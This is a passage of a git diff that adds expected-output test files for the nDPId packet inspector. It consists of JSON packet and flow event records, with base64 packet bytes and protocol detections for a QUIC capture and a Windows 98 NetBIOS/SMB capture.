/q8ZWRxxnLYDCcgvwHI+52Qu9a0p9nFv6o1frifR36oQ+Z5kfnpvSggh3acsGkJC7Rr\/0LWuYEIM1TrL0Hg2q62ewfYJz0J5Ejr9SG\/Y9iTBUOY66VIuXBOWufWEiWhk2GFD29XOrBjXB7jlK3AfQJWFHy7w5cBze+n754afVyeVnT8w9zvgyR6QNIxRvqns+0BvqK9Zclf8XVTwY4sVRAqbtu+7mSt0+wEAb+pG3MFUJ4mzT6T8KRY2XnzL4Mc8+9KVp5Bk7rxQmqgGLXWZOt36IpgRhHIfOuNBn1IJLD7cJ6ec7EvKFUb1wB3SvX\/bsEl9SzyWfyNgu9c54203uC55g"} +02084{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"doq_adguard.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1608278425,"pkt_ts_usec":433130,"pkt_caplen":1284,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1284,"pkt_l4_len":1250,"pkt":"mt9Y+uvcCL6sCxduCABFAAT2AbwAAD8RO1BejA4OwKgMqQMQoG4E4mLZ7v8AAB0RXf586nXFuX6jZU8LHDkLsXUECv0qRES8HGytFNakml4PzAwQaQZHc6jIBpQl61gKTaclBkH4l3lK3V26WShey\/TnsdSvKDKpXYJGGJjSSPz6xmEhdjXEAMBVaiKjETXFEOzDPRh+kQQJauoDKkCd0CQNrMhAmicwZKZ9inPEPTcitdqKPoItDvEVpKDzWn30RouaCWx0Ccaj3z30pphsLP9mmA+KzRva8myzrv5GvuishmfTYsSPOXeJe1fh4J4wfoyoFsnqFB+Rj6W+PS3WP3wlFg1ELNUK6FIRQTgFh+0sOM\/hh1pnp3QGgLuOvDO6aOeFjv8ayRYlMc1zLoSi0bJHeuqs5YENToAkzQAN\/SDhzdkft7JAolL\/cvx+82oCUXcS8NPngDaI3BOOxMlJuEliwhdAlSOQdO+FWWJweQ8\/fhateqpC+1G9wl8XvUQX8\/ljx3YJnKOvmmUG+SPCuuLNGecHoKK8AY4t9965\/YRUpnl7iCtuYexpaBXzvtdGBimVRlgDAjcJmavFlD6AkxsFnRP38YTbgm\/wcTnf+2CYkHkFS8+CJhNXsxaBXrxmRjoaWxccVEItR2FDbEPK9wy7VRD8Df+zNx+h2S5v9CUFigRwa1vGtZ2Z3Q+CYwWIf111cTy+\/GsjPZwr26hKiRQUyH7\/Au75L0uJN2BejTlIWvH+N\/aNaYn6NJ+ZFRCj2JWXv5VddGUEwh9CkQdti9buvBrvAhbSgJiKk60RyCRIWWhsxb0MQCFoPicAx8MkVopeJ9dmJW\/qa\/CYRehizNujeyQ4FJjGZm+h2OBIdsHXA4M3urzh51TBucmYcOyQzO8s3eGI6H22s73JCw3Yb8OPLtNLz\/l6own\/Tv7VrGrU5CJMEHjRWZG2lcJ7zSJt5g0E4KUi2o0caspq9HJkIT671OeDW55yNgJGKdRAtFE9B2LvuQWd\/U440TUqWCPe1i2nH5tEi5qQ4uwnAV2FNrRw7y6NzZ5GuNLzmfffcYi\/84cQkNgYe4Pwlcmdv9NW8qrwH8JdGojxVy410oHNENrZaepxULgnSVuPmqLfNhLp3Flo\/fCWou2M7DeW+9MYECvR2R9a945iMKHLbvx7lqs2Rl4ISPs8tpXLB3kvH+B5thX+jMs08Zix4fPWUXzBu8KLQLtQqmg8KLKaGSKwKZtyItXfGptVMu+M5tSJvaHHwwWOQ4o3kbftK+gvqEsFzoqdIowBF5DGabmWpL8nsANK0auN\/C5+5RzFO3ftzU2W6UlEy+cvv4LWxIKaPG2tImVo75bpC+W8VeUGoN\/xLjFX+sPAYBhewRVbO76GPWrk12jjKph7VUv6wija5t+9C17hKQmGyG9nxBLHoTLn4mIhl5Ai0d54tqw+wpXfuc4a\/PSM3DYc9DvribAwKi+wa+IE\/Uta2UvQUEZgeroX+qbGY23MpOrFQ6xsR1XBQBHPcAnKEh21lh1MGzqOg9p38iaZtfQWeUBkredgJV85jgzzWY2xkBlReo\/xFP9qXhC3e5zLKid17nylp5VgRbLAehvboaHsLbSANdUdKGvWJQuCmIWpgQ2LOTMJkEc5ryNX8QPHdRD7x9HDttgDv+QJTM8CjnxJF45XgiTNZjfrhjB0Y7J7BLK14uTv6MNSe\/St9r+Z"} +00714{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"doq_adguard.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1608278425,"pkt_ts_usec":552488,"pkt_caplen":269,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":269,"pkt_l4_len":235,"pkt":"CL6sCxdumt9Y+uvcCABFAAD\/XadAAEARolvAqAypXowODqBuAxAA63Wt4f8AAB0ECv0qRBFd\/nzqdcW5fqNlTwscOQuxdUBAFgVCbN\/RWlf92Bi4xbsmestxwaOWzmLs0UOVup1GWKiJ0THmdCSxOUYMjjJQlUfCJ\/s8QbJV\/u5t7rXjjRFpv18K\/SpED3H7Bx4sBoyGtGJqEQTxS\/oeZBY\/wYowmf3EpJiUs1hRtfh+uoDwfq87X5glE18OQjoYidfBw7A4Umc8TkwRbDOR+jZ7zQbXe3U2zDrO2LQieDEhB+\/tUlVyGsn2PAgQPNlwZczAYXjqFOGeUuxU1TZ4wjfK6+evSSxkFUfwNAg="} diff --git a/test/results/dos_win98_smb_netbeui.pcap.out b/test/results/dos_win98_smb_netbeui.pcap.out new file mode 100644 index 000000000..7ea55f891 --- /dev/null +++ b/test/results/dos_win98_smb_netbeui.pcap.out @@ -0,0 +1,379 @@ +00394{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409796,"pkt_ts_usec":586005,"pkt_caplen":61,"pkt_type":47,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":61,"pkt_l4_len":0,"pkt":"AwAAAAABAFBWM3ieAC\/w8AMsAP\/vAQAAAAAACQAAAAAAAAAAAAAAAAAAAAAATURKUjk4ICAgICAgICAgAw=="} +00168{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":1,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":47} +00394{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409796,"pkt_ts_usec":586078,"pkt_caplen":61,"pkt_type":47,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":61,"pkt_l4_len":0,"pkt":"AwAAAAABAFBWM3ieAC\/w8AMsAP\/vAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAV09SS0dST1VQICAgICAgAA=="} +00168{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":2,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":47} +00394{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409796,"pkt_ts_usec":586103,"pkt_caplen":61,"pkt_type":47,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":61,"pkt_l4_len":0,"pkt":"AwAAAAABAFBWM3ieAC\/w8AMsAP\/vAQAAAAAABwAAAAAAAAAAAAAAAAAAAAAATURKUjk4ICAgICAgICAgAA=="} +00168{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":3,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":47} +00394{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409796,"pkt_ts_usec":605834,"pkt_caplen":61,"pkt_type":47,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":61,"pkt_l4_len":0,"pkt":"AwAAAAABAFBWM3ieAC\/w8AMsAP\/vAQAAAAAACgAAAAAAAAAAAAAAAAAAAAAATURKUjk4ICAgICAgICAgIA=="} +00168{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":4,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":47} +00393{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409797,"pkt_ts_usec":75407,"pkt_caplen":61,"pkt_type":47,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":61,"pkt_l4_len":0,"pkt":"AwAAAAABAFBWM3ieAC\/w8AMsAP\/vAQAAAAAACQAAAAAAAAAAAAAAAAAAAAAATURKUjk4ICAgICAgICAgAw=="} +00168{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":5,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":47} +00393{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409797,"pkt_ts_usec":75462,"pkt_caplen":61,"pkt_type":47,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":61,"pkt_l4_len":0,"pkt":"AwAAAAABAFBWM3ieAC\/w8AMsAP\/vAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAV09SS0dST1VQICAgICAgAA=="} +00168{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":6,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":47} +00393{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409797,"pkt_ts_usec":75487,"pkt_caplen":61,"pkt_type":47,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":61,"pkt_l4_len":0,"pkt":"AwAAAAABAFBWM3ieAC\/w8AMsAP\/vAQAAAAAABwAAAAAAAAAAAAAAAAAAAAAATURKUjk4ICAgICAgICAgAA=="} +00168{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":7,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":47} +00394{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409797,"pkt_ts_usec":101878,"pkt_caplen":61,"pkt_type":47,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":61,"pkt_l4_len":0,"pkt":"AwAAAAABAFBWM3ieAC\/w8AMsAP\/vAQAAAAAACgAAAAAAAAAAAAAAAAAAAAAATURKUjk4ICAgICAgICAgIA=="} +00168{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":8,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":47} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1576409797553,"flow_last_seen":0,"flow_tot_l4_data_len":76,"flow_min_l4_data_len":76,"flow_max_l4_data_len":76,"flow_avg_l4_data_len":76,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.239.129","dst_ip":"192.168.239.2","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409797,"pkt_ts_usec":553896,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"pkt":"AFBW6YlWAFBWM3ieCABFAABgBwAAAIAR07fAqO+BwKjvAgCJAIkATAvHAAQpAAABAAAAAAABIEVORUVFS0ZDREpESUNBQ0FDQUNBQ0FDQUNBQ0FDQUFEAAAgAAHADAAgAAEABJPgAAYAAMCo74E="} +00521{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":9,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1576409797553,"flow_last_seen":0,"flow_tot_l4_data_len":76,"flow_min_l4_data_len":76,"flow_max_l4_data_len":76,"flow_avg_l4_data_len":76,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.239.129","dst_ip":"192.168.239.2","src_port":137,"dst_port":137,"l4_proto":"udp","ndpi": {"proto":"NetBIOS","breed":"Acceptable","category":"System"}} +00499{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409797,"pkt_ts_usec":553965,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"pkt":"AFBW6YlWAFBWM3ieCABFAABgCAAAAIAR0rfAqO+BwKjvAgCJAIkATHy8AAIpAAABAAAAAAABIEZIRVBGQ0VMRUhGQ0VQRkZGQUNBQ0FDQUNBQ0FDQUFBAAAgAAHADAAgAAEABJPgAAaAAMCo74E="} +00499{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409797,"pkt_ts_usec":554005,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"pkt":"AFBW6YlWAFBWM3ieCABFAABgCQAAAIAR0bfAqO+BwKjvAgCJAIkATA7DAAgpAAABAAAAAAABIEVORUVFS0ZDREpESUNBQ0FDQUNBQ0FDQUNBQ0FDQUFBAAAgAAHADAAgAAEABJPgAAYAAMCo74E="} +00499{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409797,"pkt_ts_usec":586916,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"pkt":"AFBW6YlWAFBWM3ieCABFAABgCgAAAIAR0LfAqO+BwKjvAgCJAIkATA7DAAYpAAABAAAAAAABIEVORUVFS0ZDREpESUNBQ0FDQUNBQ0FDQUNBQ0FDQUNBAAAgAAHADAAgAAEABJPgAAYAAMCo74E="} +00451{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":13,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1576409798047,"flow_last_seen":0,"flow_tot_l4_data_len":8,"flow_min_l4_data_len":8,"flow_max_l4_data_len":8,"flow_avg_l4_data_len":8,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.239.129","dst_ip":"224.0.0.2","l4_proto":"icmp","flow_datalink":1,"flow_max_packets":15} +00427{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409798,"pkt_ts_usec":47534,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":8,"pkt":"AQBeAAACAFBWM3ieCABFAAAcCwAAAIABn7TAqO+B4AAAAgoA9f8AAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00483{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":13,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1576409798047,"flow_last_seen":0,"flow_tot_l4_data_len":8,"flow_min_l4_data_len":8,"flow_max_l4_data_len":8,"flow_avg_l4_data_len":8,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.239.129","dst_ip":"224.0.0.2","l4_proto":"icmp","ndpi": {"proto":"ICMP","breed":"Acceptable","category":"Network"}} +00395{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":14,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409798,"pkt_ts_usec":642006,"pkt_caplen":61,"pkt_type":47,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":61,"pkt_l4_len":0,"pkt":"AwAAAAABAFBWM3ieAC\/w8AMsAP\/vAAAAAAAAFAAAAAAAAAAAAAAAAAAAAAAAV09SS0dST1VQICAgICAgHg=="} +00169{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":14,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":47} +00498{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409799,"pkt_ts_usec":23617,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"pkt":"AFBW6YlWAFBWM3ieCABFAABgDAAAAIARzrfAqO+BwKjvAgCJAIkATA7DAAgpAAABAAAAAAABIEVORUVFS0ZDREpESUNBQ0FDQUNBQ0FDQUNBQ0FDQUFBAAAgAAHADAAgAAEABJPgAAYAAMCo74E="} +00498{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409799,"pkt_ts_usec":23770,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"pkt":"AFBW6YlWAFBWM3ieCABFAABgDQAAAIARzbfAqO+BwKjvAgCJAIkATHy8AAIpAAABAAAAAAABIEZIRVBGQ0VMRUhGQ0VQRkZGQUNBQ0FDQUNBQ0FDQUFBAAAgAAHADAAgAAEABJPgAAaAAMCo74E="} +00498{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409799,"pkt_ts_usec":23846,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"pkt":"AFBW6YlWAFBWM3ieCABFAABgDgAAAIARzLfAqO+BwKjvAgCJAIkATAvHAAQpAAABAAAAAAABIEVORUVFS0ZDREpESUNBQ0FDQUNBQ0FDQUNBQ0FDQUFEAAAgAAHADAAgAAEABJPgAAYAAMCo74E="} +00498{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":18,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409799,"pkt_ts_usec":59459,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"pkt":"AFBW6YlWAFBWM3ieCABFAABgDwAAAIARy7fAqO+BwKjvAgCJAIkATA7DAAYpAAABAAAAAAABIEVORUVFS0ZDREpESUNBQ0FDQUNBQ0FDQUNBQ0FDQUNBAAAgAAHADAAgAAEABJPgAAYAAMCo74E="} +00395{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":19,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409799,"pkt_ts_usec":428975,"pkt_caplen":61,"pkt_type":47,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":61,"pkt_l4_len":0,"pkt":"AwAAAAABAFBWM3ieAC\/w8AMsAP\/vAAAAAAAAFAAAAAAAAAAAAAAAAAAAAAAAV09SS0dST1VQICAgICAgHg=="} +00169{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":19,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":47} +00395{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":20,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409800,"pkt_ts_usec":348591,"pkt_caplen":61,"pkt_type":47,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":61,"pkt_l4_len":0,"pkt":"AwAAAAABAFBWM3ieAC\/w8AMsAP\/vAAAAAAAAFAAAAAAAAAAAAAAAAAAAAAAAV09SS0dST1VQICAgICAgHg=="} +00169{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":20,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","type":47} +00490{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":21,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1576409800543,"flow_last_seen":0,"flow_tot_l4_data_len":76,"flow_min_l4_data_len":76,"flow_max_l4_data_len":76,"flow_avg_l4_data_len":76,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.239.129","dst_ip":"192.168.239.255","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00508{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":21,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409800,"pkt_ts_usec":543745,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"pkt":"\/\/\/\/\/\/\/\/AFBWM3ieCABFAABgEAAAAIARybrAqO+BwKjv\/wCJAIkATAq6AAQpEAABAAAAAAABIEVORUVFS0ZDREpESUNBQ0FDQUNBQ0FDQUNBQ0FDQUFEAAAgAAHADAAgAAEABJPgAAYAAMCo74E="} +00524{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":21,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1576409800543,"flow_last_seen":0,"flow_tot_l4_data_len":76,"flow_min_l4_data_len":76,"flow_max_l4_data_len":76,"flow_avg_l4_data_len":76,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.239.129","dst_ip":"192.168.239.255","src_port":137,"dst_port":137,"l4_proto":"udp","ndpi": {"proto":"NetBIOS","breed":"Acceptable","category":"System"}} +00508{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":22,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409800,"pkt_ts_usec":544216,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"pkt":"\/\/\/\/\/\/\/\/AFBWM3ieCABFAABgEQAAAIARyLrAqO+BwKjv\/wCJAIkATHuvAAIpEAABAAAAAAABIEZIRVBGQ0VMRUhGQ0VQRkZGQUNBQ0FDQUNBQ0FDQUFBAAAgAAHADAAgAAEABJPgAAaAAMCo74E="} +00508{"flow_id":3,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409800,"pkt_ts_usec":544288,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"pkt":"\/\/\/\/\/\/\/\/AFBWM3ieCABFAABgEgAAAIARx7rAqO+BwKjv\/wCJAIkATA22AAgpEAABAAAAAAABIEVORUVFS0ZDREpESUNBQ0FDQUNBQ0FDQUNBQ0FDQUFBAAAgAAHADAAgAAEABJPgAAYAAMCo74E="} +00508{"flow_id":3,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409800,"pkt_ts_usec":583272,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"pkt":"\/\/\/\/\/\/\/\/AFBWM3ieCABFAABgEwAAAIARxrrAqO+BwKjv\/wCJAIkATA22AAYpEAABAAAAAAABIEVORUVFS0ZDREpESUNBQ0FDQUNBQ0FDQUNBQ0FDQUNBAAAgAAHADAAgAAEABJPgAAYAAMCo74E="} +00508{"flow_id":3,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":25,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409801,"pkt_ts_usec":293507,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"pkt":"\/\/\/\/\/\/\/\/AFBWM3ieCABFAABgFAAAAIARxbrAqO+BwKjv\/wCJAIkATA22AAgpEAABAAAAAAABIEVORUVFS0ZDREpESUNBQ0FDQUNBQ0FDQUNBQ0FDQUFBAAAgAAHADAAgAAEABJPgAAYAAMCo74E="} +00508{"flow_id":3,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":26,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409801,"pkt_ts_usec":293586,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"pkt":"\/\/\/\/\/\/\/\/AFBWM3ieCABFAABgFQAAAIARxLrAqO+BwKjv\/wCJAIkATHuvAAIpEAABAAAAAAABIEZIRVBGQ0VMRUhGQ0VQRkZGQUNBQ0FDQUNBQ0FDQUFBAAAgAAHADAAgAAEABJPgAAaAAMCo74E="} +00508{"flow_id":3,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":27,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409801,"pkt_ts_usec":293629,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"pkt":"\/\/\/\/\/\/\/\/AFBWM3ieCABFAABgFgAAAIARw7rAqO+BwKjv\/wCJAIkATAq6AAQpEAABAAAAAAABIEVORUVFS0ZDREpESUNBQ0FDQUNBQ0FDQUNBQ0FDQUFEAAAgAAHADAAgAAEABJPgAAYAAMCo74E="} +00508{"flow_id":3,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":28,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409801,"pkt_ts_usec":333096,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"pkt":"\/\/\/\/\/\/\/\/AFBWM3ieCABFAABgFwAAAIARwrrAqO+BwKjv\/wCJAIkATA22AAYpEAABAAAAAAABIEVORUVFS0ZDREpESUNBQ0FDQUNBQ0FDQUNBQ0FDQUNBAAAgAAHADAAgAAEABJPgAAYAAMCo74E="} +00507{"flow_id":3,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":29,"source":"dos_win98_smb_netbeui.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576409802,"pkt_ts_usec":42919,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"pkt":"\/\/\/\/\/\/\/\/AFBWM3ieCABFAABgGAAAAIARwbrAqO+BwKjv\/wCJAIkATAq6AAQpEAABAAAAAAABIEVORUVFS0ZDREpESUNBQ0FDQUNBQ0FDQUNBQ0FDQUFEAAAgAAHADAAgAAEABJPgAAYAAMCo74E="} 